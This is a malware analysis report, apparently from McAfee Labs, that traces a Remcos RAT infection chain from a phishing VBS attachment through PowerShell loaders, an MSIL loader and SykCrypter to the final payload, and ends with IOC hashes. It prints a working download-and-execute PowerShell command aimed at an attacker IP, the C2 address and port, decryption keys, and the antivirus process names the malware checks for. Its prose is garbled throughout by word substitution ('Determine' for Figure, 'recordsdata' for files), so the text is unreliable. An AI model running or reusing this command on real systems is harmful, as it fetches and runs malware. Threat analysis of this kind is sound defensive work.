Authored by Preksha Saxena
McAfee labs noticed a Remcos RAT marketing campaign the place malicious VBS recordsdata had been delivered by way of phishing e mail. A phishing e mail contained a ZIP/RAR attachment. Inside this ZIP, was a closely obfuscated VBS file.
Remcos is a classy RAT which gives an attacker with backdoor entry to the contaminated system and collects quite a lot of delicate data. Remcos incorporates totally different obfuscation and anti-debugging methods to evade detection. It recurrently updates its options and makes this malware a difficult adversary.
Execution Circulate:
Determine 1: Execution Circulate
Stage 1: Evaluation of VBS file
VBS file is downloaded from a RAR file which is known as as “August 2023 Assertion of Account.z” This VBS file used numerous methods to make evaluation very tough; together with a number of commented code, and random strings that masks the true execution chain from being shortly seen. The precise knowledge for execution is obfuscated too.
Investigating this VBS script began with coping with the massive remark blocks as proven in determine beneath.
Determine 2:VBS Script
One obfuscated string references a URL. The script comprises a substitute perform to deobfuscate the right command line.
One other a part of VBS script is the execute perform proven in beneath picture, which merely decodes a pretend message.
“omg!it’s_so_long_:-)you_found_the_secret_message_congrats!!”
Determine 3:Deobfuscating PowerShell command utilizing substitute perform.
The aim of this VBS script is to obtain a payload utilizing PowerShell. To extend the dimensions, and make the script obfuscated, feedback had been added. The PowerShell command deobfuscates to:
“powershell -w 1 -exeC Bypass -c “”[scriptblock]::Create ((Invoke-WebRequest ‘http://212.192.219.52/87656.txt’ -UseBasicParsing).Content material).Invoke();”””
Stage 2: Evaluation of PowerShell script (87656.txt)
The downloaded file, 87656.txt, is an obfuscated PowerShell script.
Determine 4:Obfuscated PowerShell Script
The deobfuscation logic first searches for any variable containing “mdR”; on this case the result’s ‘MaximumDriveCount’. From this string, characters at positions [3,11,2] are chosen, ensuing within the string “iex”. Right here malware obfuscates iex(Invoke-Expression) command to evade itself from static detection.
Determine 5:Resolving IEX
Then, PowerShell script decodes the information utilizing the Base64String algorithm and decompresses the decoded knowledge utilizing the Deflate Stream algorithm.
Decompressed knowledge is once more a PowerShell script which is analyzed beneath.
Stage 3: Evaluation of decompressed PowerShell script
The decompressed PowerShell script is giant and obfuscated:
Determine 6: Decompressed PowerShell script
The primary a part of the script has the identical logic current within the first PowerShell file. It’s once more decoding invoke-expression “ieX” by utilizing the psHome variable.
Determine 7:Deobfuscating PowerShell script
The second a part of the PowerShell script comprises a base64 encoded PE file, which might be analyzed in a later stage.
Determine 8: Base64 encoded knowledge.
The third a part of PowerShell script is used to inject the decoded PE file in a newly created course of. After deobfuscation, the code beneath is used for code injection. “Wintask.exe” is launched as a brand new course of by the PowerShell script and the aforementioned PE file is injected within the Wintask.exe course of.
Determine 9: Code used for PE injection.
Home windows Defender exclusions are added.
Determine 10: Exclusion code
Stage 4: Evaluation of decoded PE File
The 1.1MB PE file is a .NET binary, utilizing an MSIL loader.
Determine 11: MSIL Loader
The Most important perform calls the Models perform, which calls a random perform.
Determine 12:Most important perform
The random perform comprises a considerable amount of encrypted knowledge, saved in a textual content variable.
Determine 13: Encrypted knowledge
The ‘textual content’ knowledge is first transformed from string to hex array then reversed and saved in variable ‘array’. The decryption key’s hardcoded and saved in variable ‘array4’. The bottom line is “0xD7” (215 in decimal).
Determine 14: code for changing knowledge to uppercase.
The decryption loop points the RC4 algorithm. The information decrypts a PE file, which is a DLL (Dynamic Hyperlink Library), loaded and executed utilizing the ‘NewLateBinding.LateGet()’ methodology, passing the payload file (dGXsvRf.dll) as an argument as proven beneath.
To execute the decrypted DLL in reminiscence, the malware makes use of reflecting code loading. On this course of, malware injects and executes the decrypted code in the identical course of. For this, the malware makes use of the load parameter within the ‘NewLateBinding.LateGet()’ perform.
Determine 15: RC4 algorithm
Determine 16: New occasion created for decrypted dll
Stage 5: Evaluation of dGXsvRf.dll
Decrypted DLL ‘dGXsvRf.dll’ is the SykCrypter Trojan, utilizing a useful resource named “SYKSBIKO” containing an encrypted payload.
Determine 17: Encrypted payload
SykCrypter decrypts the ultimate payload and decrypts many strings associated to figuring out the presence of AV software program, persistence, and anti-debugging methods. The SykCrypter encrypted knowledge may be very giant and is decrypted utilizing a easy XOR operation with 170 as the important thing and present index.
Determine 18: SykCryptor Encrypted knowledge
Every string is decrypted and accessed utilizing a predefined perform which hardcodes its size and offset in a big byte array. The ultimate payload is saved in a useful resource and is decrypted utilizing the RC4 algorithm with the important thing “uQExKBCIDisposablev”.
Determine 19: RC4 Algorithm
One other .NET dll with dimension 0x1200 and the strategy identify, “Zlas1” is used for deflation.
Determine 20: Loading DLL for deflation.
The DLL then decrypts a listing of varied safety answer course of names:
Determine 21:Code for decrypting Safety processes Names
The decrypted record of course of names embody:
vsserv bdservicehost odscanui bdagent
bullgaurd BgScan BullGuardBhvScanner and many others.
The malware additionally drops acopy of itself within the %appdata% folder utilizing cmd.
Determine 22: Copying file.
Persistence:
To persist system reboots, the malware creates a shortcut file within the Paperwork folder with a.pif extension, and creates a registry Run key entry.
Determine 23: Persistence Mechanism
Course of Injection:
The SykCrypter Dll decrypts and hundreds a .NET file and calls its “GetDelegateForFunctionPointer” perform, creating delegation to all APIs from kernel32 and NTDll.dll in the identical methodology. It hundreds GetThreadContext, SetThreadContext, ReadProcessMemory, VirtualAllocEx, NtUnmapViewOfSection and so forth.
Then, lastly it hundreds “WriteProcessMemory,” API which injects the decrypted payload right into a course of and names ResumeThread.
Determine 24: Course of Injection
Stage 6: Evaluation of last payload
The ultimate payload is a Microsoft Visible C++ 8 executable with dimension of 477 KB. Strings straight seen in file are:
Determine 25: Strings in payload
The configuration file of Remcos is current in RCData “SETTINGS“, which is encrypted with the RC4 algorithm. Within the given pattern, the important thing dimension is 76 byte lengthy.
Determine 26: RC4 encrypted configuration file
Decrypted Configuration:
Determine 27: Decrypted configuration
The Remcos configuration has C2 data (172.96.14.18), its port quantity (2404), mutex created by malware (Rmc-OB0RTV) and different configuration particulars. It has the aptitude to reap data from numerous purposes, resembling browsers, e mail purchasers, cryptocurrency wallets and many others. It additionally allows distant entry for an attacker and may act as a dropper for different malware.
Conclusion:
RemcosRat is a fancy multi-stage risk. McAfee Labs unpacked the how this malware downloads and executes VBS and PowerShell scripts; how the risk unwraps totally different layers and downloads the ultimate Remcos distant entry payload. At McAfee, we’re dedicated to offering our prospects with strong and efficient risk protection that detects and protects in opposition to threats like RemcosRat and lots of different households. Our safety software program makes use of a mixture of signature, machine studying, risk intelligence and behavioral-based detection methods to determine and cease threats to maintain you protected.
Indicators of Compromise (IOCs):
| SHA256 | Filetype |
| 0b3d65305edc50d3882973e47e9fbf4abc1f04eaecb13021f434eba8adf80b67 | VBS |
| 3ed5729dc3f12a479885e434e0bdb7722f8dd0c0b8b27287111564303b98036c | PowerShell |
| 1035dbc121b350176c06f72311379b230aaf791b01c7091b45e4c902e9aba3f4 | MSIL loader |
| 32c8993532bc4e1f16e86c70c0fac5d51439556b8dcc6df647a2288bc70b8abf | SykCrypter |
| 61c72e0dd15ea3de383e908fdb25c6064a5fa84842d4dbf7dc49b9a01be30517 | Remcos Payload |
